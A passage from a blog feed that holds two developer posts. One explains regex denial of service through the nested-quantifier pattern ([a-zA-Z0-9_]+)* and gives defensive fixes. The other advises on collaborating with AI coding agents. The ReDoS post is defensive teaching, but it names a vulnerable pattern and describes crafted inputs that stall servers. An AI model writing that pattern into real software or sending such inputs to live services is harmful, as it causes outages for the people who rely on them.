&lt;p&gt;The root issue is the structure ([a-zA-Z0-9_]+)&lt;em&gt;. You have a repetition group (+) nested inside another repetition group (&lt;/em&gt;). To the engine, this creates massive ambiguity about how to split the string into pieces. A run of twenty valid characters could be read as one big group of twenty, or two groups of ten, or four groups of five, or twenty groups of one, and so on. There are an enormous number of equally valid ways to partition that run.&lt;/p&gt;

&lt;p&gt;As long as the entire string matches, the engine doesn't care which partition it used, so it picks one and moves on instantly. But the moment something downstream fails to match, like that final invalid character, the engine has to go back and try every other partition of the string before it can conclude that none of them work either. That backtracking process is where the exponential blow-up happens.&lt;/p&gt;

&lt;p&gt;This is called Regular Expression Denial of Service, or ReDoS, and it's one of the few bug classes where a single request from a single user can take down an entire server thread with nothing but a moderately sized string.&lt;/p&gt;

&lt;h2&gt;
  
  
  The professional impact: this is a denial-of-service vector, not a quirky edge case
&lt;/h2&gt;

&lt;p&gt;It's tempting to file this away as a theoretical concern, but the impact is very real and very practical:&lt;/p&gt;

&lt;p&gt;A malicious actor doesn't need a sophisticated exploit. They just need to find one input field in your application backed by a vulnerable regex, and send a crafted string of thirty to fifty characters. That's it. The regex engine will burn 100% of a CPU core trying to resolve the match, and because most web frameworks process requests on a limited pool of threads or within a single event loop, that one request can block everything else behind it.&lt;/p&gt;

&lt;p&gt;Send a handful of these requests in parallel, and you can exhaust your entire application's available threads or event-loop cycles. The service becomes completely unresponsive to legitimate users, not because your database is slow, not because you're under heavy genuine traffic, but because of one badly shaped regular expression doing busywork that produces no useful output at all.&lt;/p&gt;

&lt;p&gt;In a cloud environment, this gets worse before it gets better. Your monitoring sees CPU usage spike and, doing exactly what it's designed to do, triggers auto-scaling. You spin up more instances to handle the "load." The attacker's strings hit those instances too. You're now paying for compute capacity to process malicious garbage, and your bill goes up at the same rate your service goes down.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: stop the engine from backtracking
&lt;/h2&gt;

&lt;p&gt;There are two complementary strategies here, and the strongest approach uses both.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option A:&lt;/strong&gt; Linearize the pattern. In a lot of cases, the nested quantifier isn't even doing anything useful. If you actually walk through what ([a-zA-Z0-9_]+)* is trying to express, you'll often find it's logically identical to a much simpler pattern with no nesting at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="c1"&gt;# Linearize: remove the nested duplication entirely
&lt;/span&gt;
&lt;span class="n"&gt;CLEAN_REGEX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^[a-zA-Z0-9_]*$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This matches exactly the same set of strings as the vulnerable version, but it does so in linear time. There's no ambiguity for the engine to resolve, so there's nothing to backtrack into.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option B:&lt;/strong&gt; Use possessive quantifiers (Python 3.11+). If your pattern genuinely needs the grouping structure for some other reason, modern Python gives you a tool that removes the ambiguity directly. A possessive quantifier, written with ++, tells the engine that once a group has matched, it should never backtrack into that match later. If the overall pattern eventually fails, the engine fails immediately instead of trying every other way to split the string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="c1"&gt;# Possessive quantifier: once matched, the group is locked and won't backtrack
&lt;/span&gt;
&lt;span class="n"&gt;MODERN_SAFE_REGEX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^([a-zA-Z0-9_]+)++$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_token_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MODERN_SAFE_REGEX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This converts the pattern's worst-case behavior from exponential to predictable and linear, while keeping the original group structure intact if you need it for something like capturing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense in depth: length limits and timeouts
&lt;/h2&gt;

&lt;p&gt;Fixing the regex itself is the most important step, but it shouldn't be the only line of defense. Two cheap additions make the difference between "fixed" and "actually hardened":&lt;/p&gt;

&lt;p&gt;Cap the input length before you ever touch the regex engine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;MAX_TOKEN_LENGTH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_token_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;MAX_TOKEN_LENGTH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MODERN_SAFE_REGEX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even a vulnerable regex becomes far less dangerous when it's only ever fed strings under, say, 128 characters. Exponential growth is exponential, but it still takes a meaningful string length before the slowdown becomes severe. A hard cap upstream buys you a real safety margin even if a vulnerable pattern slips through review somewhere else.&lt;/p&gt;

&lt;p&gt;For systems where the stakes are higher, use a regex engine with an explicit timeout. Python's built-in re module doesn't support timeouts natively, but the third-party regex package does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;

&lt;span class="n"&gt;SAFE_REGEX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^[a-zA-Z0-9_]*$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a timeout in place, even a pathological input that somehow gets past your other defenses can only burn CPU for a bounded amount of time before the match attempt is aborted. This turns a potential full outage into, at worst, a single failed request.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Every regular expression that processes input coming from outside your system, a user, an API client, an uploaded file, is a potential denial-of-service vector, and most of the time it looks completely harmless until someone goes looking for the right input to break it.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔴 Going Live: 5 Real Exploits, Straight From Code Crimes
&lt;/h2&gt;

&lt;p&gt;SQL injection. Broken access control. A password reset bypass that takes one single character. And more, walked through live, straight out of my upcoming book, Code Crimes.&lt;/p&gt;

&lt;p&gt;📅 July 18, 2026 · 7:00 PM (WAT)&lt;br&gt;
📍 Facebook Live · Free to attend&lt;br&gt;
👉 &lt;a href="https://facebook.com/share/1DtgRk8WLH" rel="noopener noreferrer"&gt;https://facebook.com/share/1DtgRk8WLH&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  A few habits make this risk manageable:
&lt;/h3&gt;

&lt;p&gt;Avoid nesting one repetition group inside another unless you've specifically checked whether the nesting is even necessary. Often it isn't, and a flatter pattern does the same job in linear time.&lt;/p&gt;

&lt;p&gt;Set a hard length limit on any input before it reaches a regex, regardless of how confident you are in the pattern itself. It costs you one line of code and removes an entire category of worst-case behavior.&lt;/p&gt;

&lt;p&gt;If you're on Python 3.11 or later and genuinely need grouping, reach for possessive quantifiers or atomic groups rather than ordinary backtracking groups.&lt;/p&gt;

&lt;p&gt;For anything security-sensitive, consider an engine that supports a hard timeout, so a single bad match attempt can never become a single bad outage.&lt;/p&gt;

&lt;p&gt;And test for this deliberately. Don't just test your regex against valid input, that will always look fast. Test it against long, almost-valid strings that fail right at the very end. If your matching time grows faster than linearly as you lengthen that input, you've found a ReDoS bug before an attacker did.&lt;/p&gt;

</description>
      <category>regexdenialofservice</category>
      <category>catastrophicbacktracking</category>
      <category>inputvalidationpython</category>
      <category>denialofservicevulnerability</category>
    </item>
    <item>
      <title>Stop Fighting Your AI Coding Agent: A Developer's Guide to Thinking in Collaboration, Not Commands</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Sun, 31 May 2026 08:30:06 +0000</pubDate>
      <link>https://dev.to/obrainwave/stop-fighting-your-ai-coding-agent-a-developers-guide-to-thinking-in-collaboration-not-commands-nmi</link>
      <guid>https://dev.to/obrainwave/stop-fighting-your-ai-coding-agent-a-developers-guide-to-thinking-in-collaboration-not-commands-nmi</guid>
      <description>&lt;p&gt;Most developers treat AI coding agents like a search engine that writes code. That is the root of every frustration. This guide reframes how you think about AI pair programming so you spend less time wrestling and more time shipping.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Problem Is Not the AI
&lt;/h2&gt;

&lt;p&gt;If you have ever watched an AI agent confidently refactor your entire codebase in the wrong direction, you know the particular dread that follows. You paste in a long prompt, wait, and then receive something that technically compiles but bears no resemblance to what you meant. So you re-prompt, re-explain, and re-iterate until frustration tips into rage.&lt;/p&gt;

&lt;p&gt;Here is what nobody tells you upfront: the AI did not fail. Your mental model of what the AI is doing was just incomplete. The frustration is almost never a capability gap. It is a collaboration gap.&lt;/p&gt;

&lt;p&gt;Reframe: An AI coding agent is not an autocomplete engine with ambitions. It is a highly capable but context-blind collaborator who has read every programming book ever written but has never once seen your project, your team conventions, or what you meant when you said "clean this up."&lt;/p&gt;

&lt;h2&gt;
  
  
  Understand What the Agent Actually Sees
&lt;/h2&gt;

&lt;p&gt;Every frustrating interaction with an AI agent traces back to one core mismatch: you are thinking in full project context, and the agent is thinking in token windows. It cannot smell the legacy code debt three files over. It does not know that "the old auth system" refers to a module you are actively deprecating. It only knows what you gave it, plus everything it learned from training.&lt;/p&gt;

&lt;p&gt;This is not a flaw you work around. It is the constraint you design around. Once you accept that the agent needs context served to it explicitly rather than assumed, the whole dynamic shifts from you being disappointed by it to you being a skilled director who knows how to brief your most capable contractor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Give It a Role Before You Give It a Task
&lt;/h2&gt;

&lt;p&gt;One of the highest-leverage habits in agentic coding is front-loading your prompt with a clear role definition before any instruction. Not just "you are a senior engineer" but something more specific: "You are refactoring a Node.js API that uses Express and Prisma, and our convention is to never mutate request objects. Keep changes minimal and backward-compatible."&lt;/p&gt;

&lt;p&gt;Role-setting collapses half the back-and-forth before it ever starts. The agent now has a lens through which to evaluate every decision it makes. Without a role, it optimizes for generic correctness. With a role, it optimizes for your correctness.&lt;/p&gt;

&lt;p&gt;A common mistake: asking the agent to both understand AND implement in one shot on a complex task. Break those into two sequential prompts. Ask it to explain its approach first. You will catch misunderstandings at the cheapest possible moment, before any code is written.&lt;/p&gt;

&lt;h2&gt;
  
  
  Treat Long Sessions Like a Conversation With a Forgetful Genius
&lt;/h2&gt;

&lt;p&gt;Agentic sessions decay. The longer a coding thread goes, the more likely the agent is operating on diluted context. It starts making decisions based on its most recent exchanges rather than your earliest setup instructions. This is not a bug. This is physics. Context windows have limits.&lt;/p&gt;

&lt;p&gt;The practical fix is periodic resetting. After completing any meaningful milestone in a session, summarize the current state yourself and paste it into a fresh session. Yes, this feels manual. But it eliminates the ghost instructions that silently corrupt long runs. Think of it as committing your working memory to disk before the power goes out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scope Is the Single Most Underrated Prompt Skill
&lt;/h2&gt;

&lt;p&gt;The developers who work most fluidly with AI agents share one trait: they are ruthless about scope. Every prompt they write targets one specific, bounded thing. Not "refactor my auth module" but "in auth/middleware.ts, replace the manual token expiry check on line 48 with a call to the existing validateTokenExpiry utility and handle the two error cases it can throw."&lt;/p&gt;

&lt;p&gt;Tight scope means tight output. Tight output means fast review. Fast review means fewer spirals. The agent can handle big tasks. Your frustration tolerance usually cannot. Slice the problem until you can evaluate the agent's output in under two minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Use AI Agents for Thinking, Not Just Typing
&lt;/h2&gt;

&lt;p&gt;Most developers invoke their agent only when they want code produced. This leaves enormous value on the table. The most frustration-free developers use the agent as a thinking partner long before they need output. They paste in a failing test and ask the agent what is likely wrong. They describe a system they are about to build and ask the agent to poke holes in the design. They share a vague requirement and ask it to surface the ambiguities before any implementation begins.&lt;/p&gt;

&lt;p&gt;When you use the agent for thinking, you arrive at the code-generation phase with far fewer surprises. The agent then functions in its strongest mode: executing a well-defined plan rather than improvising a poorly-defined one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Review Agent Output Like a Senior Engineer, Not a Rubber Stamp
&lt;/h2&gt;

&lt;p&gt;Here is where a lot of developers quietly set themselves up for frustration: they accept agent output without real scrutiny, ship it, and then spend three hours debugging something the agent introduced. The agent is not to blame. Accepting code without review is always on the developer.&lt;/p&gt;

&lt;p&gt;Build a fast review habit. Check that the agent touched only what you asked it to touch. Scan for new dependencies it introduced without telling you. Run your tests before moving on. The review step is not a tax on using AI. It is the step that makes everything else trustworthy.&lt;/p&gt;

&lt;p&gt;A strong mental model: think of the agent as a very fast junior developer who produces solid first drafts. You would never ship a junior's draft unread. Same rule applies here, regardless of how confident the output looks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manage Your Emotional State as Part of the Workflow
&lt;/h2&gt;

&lt;p&gt;Frustration with AI agents compounds when it goes unmanaged. You send a worse prompt when you are irritated. The agent produces a worse result. You are more irritated. The spiral is real, and the entry point is almost always a prompt written in haste or emotion.&lt;/p&gt;

&lt;p&gt;The professional move is to treat a bad agent output the way you would treat a failed test. Something in the setup was wrong. Diagnose, adjust, and retry with a clearer head. Take the prompt you wrote in frustration and rewrite it with the precision of a bug report. Be specific about what went wrong, what you expected, and what you need different.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build a Prompt Library You Actually Use
&lt;/h2&gt;

&lt;p&gt;The developers who are most calm around agentic tools have a personal collection of prompt patterns that work for them. Not a generic list downloaded from a blog post, but actual prompts they have refined through real use: their preferred way to kick off a debugging session, their standard context block for their main codebase, their template for asking the agent to review rather than rewrite.&lt;/p&gt;

&lt;p&gt;Over time, this library becomes a system. You stop drafting every prompt from scratch and start assembling from known-good pieces. The cognitive load drops, the outputs improve, and the frustration disappears almost entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Agentic Coding Is a Skill, Not a Shortcut
&lt;/h2&gt;

&lt;p&gt;The developers who feel most at home with AI coding agents are not the ones who found a magic prompt or a better model. They are the ones who invested time in understanding how to communicate effectively with a system that is genuinely different from every tool they used before.&lt;/p&gt;

&lt;p&gt;Treat it like learning a new language. The early stages are awkward and occasionally embarrassing. The middle stages involve a lot of translation overhead. But once the communication clicks, you are building at a speed that would have seemed unrealistic two years ago.&lt;/p&gt;

&lt;p&gt;The frustration was never a sign you should stop. It was always a signal about where the collaboration needed to improve. Now you know exactly where to look.&lt;/p&gt;

</description>
      <category>aiagenticcoding</category>
      <category>aipairprogramming</category>
      <category>developerproductivity</category>
      <category>aifrustrationtips</category>
    </item>
  </channel>
</rss>
